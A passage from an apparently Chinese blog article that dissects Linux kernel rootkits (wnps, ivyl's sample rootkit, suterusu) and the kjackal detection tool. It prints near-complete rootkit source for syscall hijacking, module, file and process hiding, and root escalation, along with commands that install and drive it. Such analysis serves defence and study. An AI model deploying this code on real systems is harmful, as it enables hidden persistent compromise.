http://www.cppblog.com/momoxiao/archive/2010/04/04/111594.html */ orig_getdents64 = sys_call_table[__NR_getdents64]; /* 通過IDT寄存器劫持當前系統中的"系統調用中斷idt例程" */ set_idt_handler((void *)system_call_addr); /* 通過sysenter劫持當前系統中的"系統調用中斷idt例程" */ set_sysenter_handler(sysenter_entry); /* 找到/proc/net/tcp這個目錄 */ while (strcmp(my_dir_entry->name, "tcp")) { my_dir_entry = my_dir_entry->next; } if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data)) { //保留原始的/proc/net/tcp列表 old_tcp4_seq_show = my_afinfo->seq_show; /* 將/proc/net/tcp替換為"hacked_tcp4_seq_show",這個函數會根據配置文件隱藏指定tcp連接記錄 */ my_afinfo->seq_show = hacked_tcp4_seq_show; } /* 注冊一個netfilter回調函數,監控所有的入口tcp數據報,有兩個目的 1) 過濾掉指定的tcp soccket連接 2) 通過監控關鍵字"TCP_SHELL_KEY",實現無連接方式shell開啟 */ netfilter_test_init(); #if DEBUG == 1 printk(KERN_ALERT "[+] Wnps installed successfully!\n"); #endif return 0; } void wnps_exit(void) { /* * We do nothing here! */ } module_init(wnps_init); module_exit(wnps_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("wzt");
總結一下,wnps所使用到的技術關鍵點如下
1. 無連接方式SHELL激活
wnps可以通過發送tcp數據報來激活shell,即就算目標主機("肉雞")不監聽任何ip和端口,我們也可以通過wnps的rootkit功能進行shell激活
我們知道,tcp數據報是傳輸層協議,主機在接收到一個tcp數據報的時候,如果發現dst(目的ip)是自己本機,則一定會接收下來,進行解包后傳給上層(應用層),而在應用層有一個復用/解復用的過程,即應用層根據目的端口來決定將這個數據報發給哪個應用程序
而問題的關鍵就是: 在從傳輸層配發到相應的應用程序之前,需要經過netfilter的路由過程(netfilter的鏈式處理流程),而wnps就是通過注冊了一個netfilter的回調函數,監控了所有的入口tcp流量,如果在tcp數據報中發現了"TCP_SHELL_KEY"(標識關鍵字,wnps提供這個標志的可配置化),則表明客戶端請求激活后門shell
通過這種巧妙的方式,真正做到了隨機shell激活,而不需要像傳統的方法那樣讓肉雞listen住一個端口,然后等待連接,wnps的隱蔽性更好
/source/net/netfilter/core.c
int nf_register_hook(struct nf_hook_ops *reg) { struct nf_hook_ops *elem; int err; err = mutex_lock_interruptible(&nf_hook_mutex); if (err < 0) { return err; } list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list) { if (reg->priority < elem->priority) { break; } } list_add_rcu(®->list, elem->list.prev); mutex_unlock(&nf_hook_mutex); #if defined(CONFIG_JUMP_LABEL) static_key_slow_inc(&nf_hooks_needed[reg->pf][reg->hooknum]); #endif return 0; }
kshell.c
/** register a netfilter hooks,hook.c will use it. */ int netfilter_test_init(void) { //注冊的回調函數 nfho.hook = hook_func; nfho.owner = NULL; nfho.pf = PF_INET; nfho.hooknum = NF_IP_PRE_ROUTING; nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); return 0; }
實現了對PRE_ROUTING的前向過濾動作,直接完成在傳輸層的shell開啟功能,關於netfilter的相關鏈式處理方式,請參閱另一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
2. netfilter注冊回調+/proc/net/tcp修改雙重過濾,實現網絡連接狀態隱藏
我們知道,netstat命令是通過讀取/proc/net來獲取當前linux系統的網絡連接狀態信息的,傳統的rootkit會對/proc/net這個連接內核的虛擬目錄進行修改以此來達到隱藏socket連接狀態的目的,但很多的檢測系統也因此開發出了內核檢測機制以此來對抗針對/proc/net的攻擊方式
針對這種情況,wnps在修改/proc/net的基礎上加上了netfilter注冊回調過濾機制,通過直接在netfilter的hook點上注冊過濾函數,根據配置文件直接屏蔽指定的tcp連接,以此來獲得更大的靈活性
3. 劫持當前系統中的"系統調用中斷idt例程"
搜索的方法是比較傳統的"關鍵字內存暴力搜索"方式,即
p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85'
4. 劫持系統中關鍵系統調用
1. 劫持sysenter(快速系統調用)這個系統調用 2. 劫持getdents64系統調用 getdents64涉及到目錄、文件的枚舉(例如ls命令) 3. 劫持read系統調用 文件、目錄、設備、加載LKM模塊的隱藏
5. kernel mode socket connect back(內核態反向回連)
wnps在read的系統調用劫持函數中加入了內核態反向回連的觸發代碼,大致流程如下
if(wztshell == 1) { //wztshell==1表明當前rootkit的shell已經被激活(已經通過netfilter過濾機制接收到了指令段發送的激活指令) 從肉雞端主動向遠程主控方建立tcp socket連接 }
6. 基於系統調用hook的進程隱藏
對於linux系統,可以獲得當前進程的指令有:
1. ll /proc 2. ps 3. top
這些系統指令到了內核系統調用這個層面,全都需要通過"getdents64"這個系統調用進行實現
wnps在對getdents64進行劫持的函數中,對指定進程信息(dirent64結構體)進行了過濾,從而獲得到了比簡單修改/proc更好的效果
7. 通信加密
/** * encryptcode - encrypt strings in a buf. * @buf: strings in it. * @count: the length of buf. * * we can use random char to improve encrypt strength. */ void encrypt_code(char *buf,int count) { char *p; int i,j; for (i = 0; i < 4; i++) for (p = buf,j = 0; j < count; j++,p++) *p = *p ^ xorkeys[i]; }
wnps對通信數據進行了異或加密
0x4: Defense Strategy
Relevant Link:
http://www.xfocus.net/tools/200710/1233.html http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdf
6. Sample Rootkit for Linux
0x1: Installation && Usage
https://github.com/ivyl/rootkit,下載源代碼之后,直接make編譯即可,"Sample Rootkit for Linux"對大部分內核版本支持很多,這很大程度上也是因為它的代碼量很小,涉及到和系統強依賴的因素也相對較少,所以編譯上的兼容性就更高
這里簡單介紹一下"Sample Rootkit for Linux"的使用
1. 查看幫助 cat /proc/rtkit 當前rootkit進程是被隱藏起來的,我們直接輸入/proc/rtkit即可查看rootkit的信息、以及rootkit支持的指令集 1.1 DESC: 1) hides files prefixed with __rt or 10-__rt and gives root 1.2 CMNDS: 1) mypenislong: 獲得一個root權限的shell(提權) 2) hpXXXX: hides proc with id XXXX(xxxx填的是指定進程的pid) 3) up: unhides last process(取消隱藏最后進程) 4) thf: toogles file hiding(文件隱藏的開關) 5) mh: module hide(隱藏當前rootkit內核模塊) 6) ms: module show(顯示當前rootkit內核模塊,取消隱藏) 1.3 STATUS 1) fshide: 0 2) pids_hidden: 0 3) module_hidden: 1 2. 向rootkit內核模塊下發指令 1) 隱藏rootkit模塊 echo -n mh >> /proc/rtkit 2) 隱藏進程 echo -n hp1233 >> /proc/rtkit 3) 獲得一個root權限的shell echo -n mypenislong >> /proc/rtkit 3. 使用軟件提供的包裝腳本 1) 獲得一個root權限的shell python tools/rtcmd.py mypenislong /bin/bash
0x2: Features
這里針對rt.c進行代碼分析,原理性闡述都放在注釋中了
#include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/string.h> #include <linux/cred.h> #include <linux/fs.h> /* 定義了一個判斷大小的宏 */ #define MIN(a,b) \ ({ typeof (a) _a = (a); \ typeof (b) _b = (b); \ _a < _b ? _a : _b; }) #define MAX_PIDS 50 MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>"); MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>"); //STATIC VARIABLES SECTION //we don't want to have it visible in kallsyms and have access to it all the time static struct proc_dir_entry *proc_root; static struct proc_dir_entry *proc_rtkit; static int (*proc_readdir_orig)(struct file *, void *, filldir_t); static int (*fs_readdir_orig)(struct file *, void *, filldir_t); static filldir_t proc_filldir_orig; static filldir_t fs_filldir_orig; static struct file_operations *proc_fops; static struct file_operations *fs_fops; static struct list_head *module_previous; static struct list_head *module_kobj_previous; static char pids_to_hide[MAX_PIDS][8]; static int current_pid = 0; static char hide_files = 1; static char module_hidden = 0; static char module_status[1024]; /* MODULE HELPERS 使用"斷鏈法"技術進行內核模塊的隱藏 原理: 1. linux將所有的內核模塊都在內核中用循環雙鏈表串聯起來了 2. 通過找到這些鏈表,並使用linux提供的鏈表操作宏將指定的"元素(對應內核模塊)"從鏈表中斷開 3. 我們再通過lsmod、或者直接讀取內核模塊鏈表的時候自然無法枚舉到被我們隱藏的模塊了,達到隱藏模塊的目的 關於內核模塊鏈表的相關知識請參閱 http://www.cnblogs.com/LittleHann/p/3865490.html */ void module_hide(void) { if (module_hidden) { return; } module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden; } /* 將斷開的鏈表項目重新插入回去,恢復模塊的顯示 */ void module_show(void) { int result; if (!module_hidden) return; list_add(&THIS_MODULE->list, module_previous); result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt"); module_hidden = !module_hidden; } //PAGE RW HELPERS static void set_addr_rw(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); if (pte->pte &~ _PAGE_RW) { pte->pte |= _PAGE_RW; } } static void set_addr_ro(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); pte->pte = pte->pte &~_PAGE_RW; } //CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i < current_pid; i++) { /* 當檢測到指定的需要隱藏的進程時,直接returned返回,即直接跳過這個進程的枚舉 */ if (!strcmp(name, pids_to_hide[i])) { return 0; } } if (!strcmp(name, "rtkit")) { return 0; } return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); } static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; return proc_readdir_orig(filp, dirent, proc_filldir_new); } static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) { return 0; } return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); } static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { fs_filldir_orig = filldir; return fs_readdir_orig(filp, dirent, fs_filldir_new); } static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) { int size; /* 當cat /proc/rtkit 時的輸出 */ sprintf(module_status, "RTKIT\n\ DESC:\n\ hides files prefixed with __rt or 10-__rt and gives root\n\ CMNDS:\n\ mypenislong - uid and gid 0 for writing process\n\ hpXXXX - hides proc with id XXXX\n\ up - unhides last process\n\ thf - toogles file hiding\n\ mh - module hide\n\ ms - module show\n\ STATUS\n\ fshide: %d\n\ pids_hidden: %d\n\ module_hidden: %d\n", hide_files, current_pid, module_hidden); size = strlen(module_status); if (off >= size) return 0; if (count >= size-off) { memcpy(buffer, module_status+off, size-off); } else { memcpy(buffer, module_status+off, count); } return size-off; } static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "mypen", MIN(11, count))) { /* 創建一個用戶新進程task_struct的creads */ struct cred *credentials = prepare_creds(); /* changes to root */ credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; /* 獲得新設置cread的進程shell */ commit_creds(credentials); } else if (!strncmp(buff, "hp", MIN(2, count))) { //upXXXXXX hides process with given id if (current_pid < MAX_PIDS) { strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2)); } } else if (!strncmp(buff, "up", MIN(2, count))) { //unhides last hidden process if (current_pid > 0) { current_pid--; } } else if (!strncmp(buff, "thf", MIN(3, count))) { //toggles hide files in fs hide_files = !hide_files; } else if (!strncmp(buff, "mh", MIN(2, count))) { //module hide module_hide(); } else if (!strncmp(buff, "ms", MIN(2, count))) { //module hide module_show(); } return count; } //INITIALIZING/CLEANING HELPER METHODS SECTION static void procfs_clean(void) { if (proc_rtkit != NULL) { remove_proc_entry("rtkit", NULL); proc_rtkit = NULL; } if (proc_fops != NULL && proc_readdir_orig != NULL) { set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_orig; set_addr_ro(proc_fops); } } static void fs_clean(void) { if (fs_fops != NULL && fs_readdir_orig != NULL) { set_addr_rw(fs_fops); fs_fops->readdir = fs_readdir_orig; set_addr_ro(fs_fops); } } /* 初始化rootkit在/proc中的目錄項 */ static int __init procfs_init(void) { //new entry in proc root with 666 rights /* 新建一個666權限的/proc目錄 */ proc_rtkit = create_proc_entry("rtkit", 0666, NULL); if (proc_rtkit == NULL) { return 0; } //設置父目錄 proc_root = proc_rtkit->parent; if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { return 0; } /* 注冊/proc/rtkit的讀取句柄,即cat /proc/rtkit時相應的響應 static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) */ proc_rtkit->read_proc = rtkit_read; /* 注冊/proc/rtkit的寫入句柄,即echo -n xxx >> /proc/rtkit時相應的處理流程 static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) */ proc_rtkit->write_proc = rtkit_write; //substitute proc readdir to our wersion (using page mode change) proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_readdir_orig = proc_fops->readdir; //設置內存頁可讀可寫 set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_new; set_addr_ro(proc_fops); return 1; } /* 初始化文件系統的內存讀寫權限 */ static int __init fs_init(void) { /* struct file { union { struct list_head fu_list; struct rcu_head fu_rcuhead; } f_u; struct path f_path; #define f_dentry f_path.dentry #define f_vfsmnt f_path.mnt const struct file_operations *f_op; atomic_t f_count; unsigned int f_flags; mode_t f_mode; loff_t f_pos; struct fown_struct f_owner; unsigned int f_uid, f_gid; struct file_ra_state f_ra; unsigned long f_version; #ifdef CONFIG_SECURITY void *f_security; #endif void *private_data; #ifdef CONFIG_EPOLL struct list_head f_ep_links; spinlock_t f_ep_lock; #endif struct address_space *f_mapping; }; 文件結構體代表一個打開的文件,系統中的每個打開的文件在內核空間都有一個關聯的struct file 它由內核在打開文件時創建,並傳遞給在文件上進行操作的任何函數。在文件的所有實例都關閉后,內核釋放這個數據結構(內核變量) */ struct file *etc_filp; //get file_operations of /etc etc_filp = filp_open("/etc", O_RDONLY, 0); if (etc_filp == NULL) { return 0; } /* struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*iterate) (struct file *, struct dir_context *); unsigned int (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, loff_t, loff_t, int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **); long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); int (*show_fdinfo)(struct seq_file *m, struct file *f); }; */ fs_fops = (struct file_operations *) etc_filp->f_op; filp_close(etc_filp, NULL); //substitute readdir of fs on which /etc is fs_readdir_orig = fs_fops->readdir; //設置內存頁可讀可寫 set_addr_rw(fs_fops); fs_fops->readdir = fs_readdir_new; set_addr_ro(fs_fops); return 1; } //MODULE INIT/EXIT static int __init rootkit_init(void) { /* 初始化rootkit在/proc中的目錄項 初始化文件系統的內存讀寫權限 */ if (!procfs_init() || !fs_init()) { procfs_clean(); fs_clean(); return 1; } module_hide(); return 0; } static void __exit rootkit_exit(void) { procfs_clean(); fs_clean(); } module_init(rootkit_init); module_exit(rootkit_exit);
總結一下,Sample Rootkit for Linux所使用到的技術關鍵點如下
1. 通過內核API獲得rootkit權限shell
struct cred *credentials = prepare_creds(); credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; commit_creds(credentials);
2. 基於/proc的目錄讀取函數劫持的進程隱藏
proc_rtkit = create_proc_entry("rtkit", 0666, NULL); proc_root = proc_rtkit->parent; proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_fops->readdir = proc_readdir_new;
通過獲取/proc的讀取回調句柄(即/proc對讀取的回應),然后根據指定的pid進行選擇性枚舉跳過(return)
static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; return proc_readdir_orig(filp, dirent, proc_filldir_new); } //CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i < current_pid; i++) { /* 當檢測到指定的需要隱藏的進程時,直接returned返回,即直接跳過這個進程的枚舉 */ if (!strcmp(name, pids_to_hide[i])) { return 0; } } if (!strcmp(name, "rtkit")) { return 0; } return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); }
3. 基於對/etc目錄文件讀取枚舉接口函數劫持的的文件隱藏
struct file *etc_filp; etc_filp = filp_open("/etc", O_RDONLY, 0); fs_fops = (struct file_operations *) etc_filp->f_op; fs_readdir_orig = fs_fops->readdir; fs_fops->readdir = fs_readdir_new;
和進程的隱藏原理一樣,都是通過對目錄(/proc從某種程度上來說也是一種目錄)的讀取句柄進行劫持,然后進行選擇性跳過(return)來達到屏蔽的目的
static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { fs_filldir_orig = filldir; return fs_readdir_orig(filp, dirent, fs_filldir_new); } static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) { /* 當檢測到指定的滿足隱藏條件的文件名特征時,直接returned返回,即直接跳過這個文件的枚舉 */ return 0; } return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); }
4. 基於斷鏈法的內核模塊隱藏技術
/* MODULE HELPERS 使用"斷鏈法"技術進行內核模塊的隱藏 原理: 1. linux將所有的內核模塊都在內核中用循環雙鏈表串聯起來了 2. 通過找到這些鏈表,並使用linux提供的鏈表操作宏將指定的"元素(對應內核模塊)"從鏈表中斷開 3. 我們再通過lsmod、或者直接讀取內核模塊鏈表的時候自然無法枚舉到被我們隱藏的模塊了,達到隱藏模塊的目的 關於內核模塊鏈表的相關知識請參閱 http://www.cnblogs.com/LittleHann/p/3865490.html */ void module_hide(void) { if (module_hidden) { return; } /* 從struct module結構體可以看出,在內核態,我們如果要枚舉當前模塊列表,可以使用list、kobj這兩個成員域進行枚舉 自然在斷鏈隱藏的時候也需要對這兩個成員進行操作 */ module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden; }
5. 通過創建/proc下虛擬目錄的讀寫接口函數接收ring3層的指令、指令靈活配置
proc_rtkit = create_proc_entry("rtkit", 0666, NULL); proc_rtkit->read_proc = rtkit_read; /* 注冊/proc/rtkit的寫入句柄,即echo -n xxx >> /proc/rtkit時相應的處理流程 static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) */ proc_rtkit->write_proc = rtkit_write; static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "mypenislong", MIN(11, count))) { } else if (!strncmp(buff, "hp", MIN(2, count))) { } else if (!strncmp(buff, "up", MIN(2, count))) { } else if (!strncmp(buff, "thf", MIN(3, count))) { } else if (!strncmp(buff, "mh", MIN(2, count))) { } else if (!strncmp(buff, "ms", MIN(2, count))) { } return count; }
通過這種方式,可以很方便地通過一個相對較隱蔽的方式從ring3向ring0發出指令
0x3: Defense Strategy
Relevant Link:
https://github.com/ivyl/rootkit http://www.cnblogs.com/LittleHann/p/3865490.html
7. suterusu
這個rootkit的功能把別的rootkit大同小異,有一個亮點的地方是,它使用register_module_notifier注冊了模塊加載的回調函數,這使得suterusu可以在系統調用這個層面對其他的lkm的加載和放行進行控制
Relevant Link:
https://github.com/mncoppola/suterusu
8. Rootkit Defense Tools
攻和防是一件針鋒相對的事情,從某種程序上來,防守方一定是滯后於攻擊方(時間長短的問題),檢測、防御rootkit的工具本質上就是在識別、確定rootkit的攻擊技術的基礎上,進行反向的思考以及防御
總目前來看,rootkit在進行攻擊的時候會使用到的技術有:
1. 靈活的指令配置 1) 通過創建/proc下虛擬目錄的讀寫接口函數接收ring3層的指令、指令靈活配置 2) 通過netlink技術實現ring3和ring0的通信,向rootkit下發指令 2. 內核模塊隱藏(包括隱藏rootkit自身分模塊) 1) 基於斷鏈法的內核模塊隱藏技術 3. 文件、目錄隱藏 1) 基於對/etc目錄文件讀取枚舉接口函數劫持的的文件隱藏 2) 隱藏文件中"特定的內容" 3) 替換關鍵系統指令程序,例如ls、ll 4) 基於sys_execv系統調用劫持實現可執行程序執行重定向技術 4. 進程隱藏 1) 基於/proc的目錄讀取函數劫持的進程隱藏 2) 基於系統調用hook的進程隱藏 3) 替換關鍵系統指令程序,例如ps、top 4) 基於getdents64系統調用劫持實現可執行程序執行重定向技術 5. 網絡連接狀態隱藏 1) netfilter注冊回調實現網絡連接狀態隱藏 2) /proc/net/tcp修改過濾實現網絡連接狀態隱藏 6. 獲取root權限的shell 1) 通過內核API(prepare_creds()、commit_creds())獲得rootkit權限shell 2) 無連接方式SHELL激活 2.1) tcp激活 2.2) udp激活 2.3) icmp激活 7. 遠程控制(shell) 1) kernel mode socket connect back(內核態反向回連) 8. 通信加密 1) commit_creds 2) 借助HTTP、或DNS協議進行通信 9. 鍵盤記錄 1) 密碼記錄(ssh, su, mysql, pop3, passwd etc)
基於這些已知的先驗知識,下面我們來看一下git上開源的工具是怎樣進行rootkit檢測的
9. Linux Rootkit Scanner: kjackal
Kjackal uses multiple methods to find hidden modules. Here is the list:
1. Syscall hijack detection. The primary technique is to iterate over the syscall table and test every address to see if it is in the core kernel text section where it's supposed to be. If yes, we'll check 1) 通過遍歷當前內核中的系統調用表syscal table,逐一檢查例程的入口地址是否在內核空間,如果不在,則說明發生了syscall劫持 2) 發現了syscall table的劫持之后,繼續進行反向追蹤,確定劫持當前系統調用的是哪一個LKM,即找到劫持的凶手 for a module "hosting" this address. 2. TCP IPv4 seq_ops hijack detection. This technique is often used to hide ports or any sensitive information. The 'seq_ops.show' is checked here to the core kernel text address space. rootkit一般采用對/proc/net/tcp的讀寫句柄進行劫持以實現隱藏網絡連接狀態的目的,所以我們這里的檢測思路反過來去枚舉/proc/net/tcp的讀寫句柄是否在內核態中,如果不在,說明發生了劫持 3. /proc filesystem hijack detection. Check the readdir ops of /proc. rootkit通常通過劫持/proc的f_op->readdir來實現filesystem劫持的目的 4. Search for hidden modules Search for each *hidden* module which tries to remove itself from existence 通過對modules kset進行枚舉實現隱藏內核模塊的檢測 關於在linux內核中內核模塊的數據結構、以及模塊鏈表的枚舉 http://www.cnblogs.com/LittleHann/p/3865490.html search: struct module
Relevant Link:
http://files.cnblogs.com/LittleHann/kjackal.rar https://github.com/dgoulet/kjackal
Copyright (c) 2014 LittleHann All rights reserved
